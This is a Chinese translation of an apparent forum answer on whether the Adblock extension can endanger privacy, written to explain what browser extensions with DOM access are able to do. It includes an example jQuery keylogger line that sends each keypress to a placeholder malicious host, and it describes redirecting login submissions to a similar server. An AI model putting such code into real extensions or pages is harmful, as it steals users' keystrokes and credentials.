更新
仔细考虑之后,我不得不同意其他答案,尽管它可以访问您的数据,但Adblock 更有可能保护您的隐私而不是入侵它。真正的风险是提示您在计算机上安装软件的恶意广告。Adblock 可以防止这些。
以下是原始的警告答案:
是的,完全是。
Adblock Plus 是由独立开发者开发的浏览器扩展/插件。Adblock 可以访问所有页面上的 DOM(文档对象模型)。
AdBlock 的工作方式是将脚本注入到您的浏览器中,该浏览器会搜索 DOM,然后hide()
针对它确定的广告运行一个函数。
这意味着 AdBlock(以及任何具有该权限的 Chrome 扩展程序)可以访问您的 DOM。Adblock 无法访问 JavaScript 变量。
这是什么意思?
如果您在使用安全身份验证的网站上,并且有一个 JavaScript 对象,其中包含 AuthKey 之类的私有内容,那么您是安全的。AdBlock 无法访问 JavaScript 变量。
但是,AdBlock 可以运行与此等效的代码。
$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})
这基本上会将您按下的任何键路由到远程服务器。
这可用于窃取您的密码,这比窃取您的令牌更糟糕。
话虽如此,AdBlock 本身是否危险?
在我看来,AdBlock 并不过分危险,因为开发人员已经表明了自己的身份,并且被数百万人使用。如果它在做上述那种狡猾,可能有人会注意到并吹响哨子。
但不要认为 Chrome 扩展程序是完全安全的。他们都可以窃取任何数据以及其他恶意内容。
它还能做什么?
Chrome 扩展程序还可以非常简单地执行以下安全违规行为......
- 将您阅读的任何电子邮件或页面的内容路由到第三方来源(如果此电子邮件包含未加密的登录信息,您将被破坏)如果您可以在屏幕上看到它,那么任何 Chrome 扩展程序也可以,没有问题。
- 在字段中输入信息并按下提交按钮,例如,发送电子邮件
- 如果您让浏览器保持打开状态,并且扩展程序知道如何操作,它可以使用您的电子邮件界面(Gmail、Outlook)将其选择的电子邮件发送给您的联系人。这是微不足道的。
- 更改与任何按钮关联的脚本,如果该脚本最初是使用 jQuery 放入的。例如,可以稍微更改将您的登录信息发送到服务器的按钮,以将该信息同时发送到服务器和
http://mymaliciousserver
. 这是微不足道的。
更新
经讨论验证,AdBlock 是开源的。这应该让您更加信任 AdBlock,但请记住它仍然能够做这些事情。我已经查看了源代码,我可以肯定地说我根本不知道发生了什么。
资料来源:我是一名 JavaScript 和 Chrome 扩展开发人员。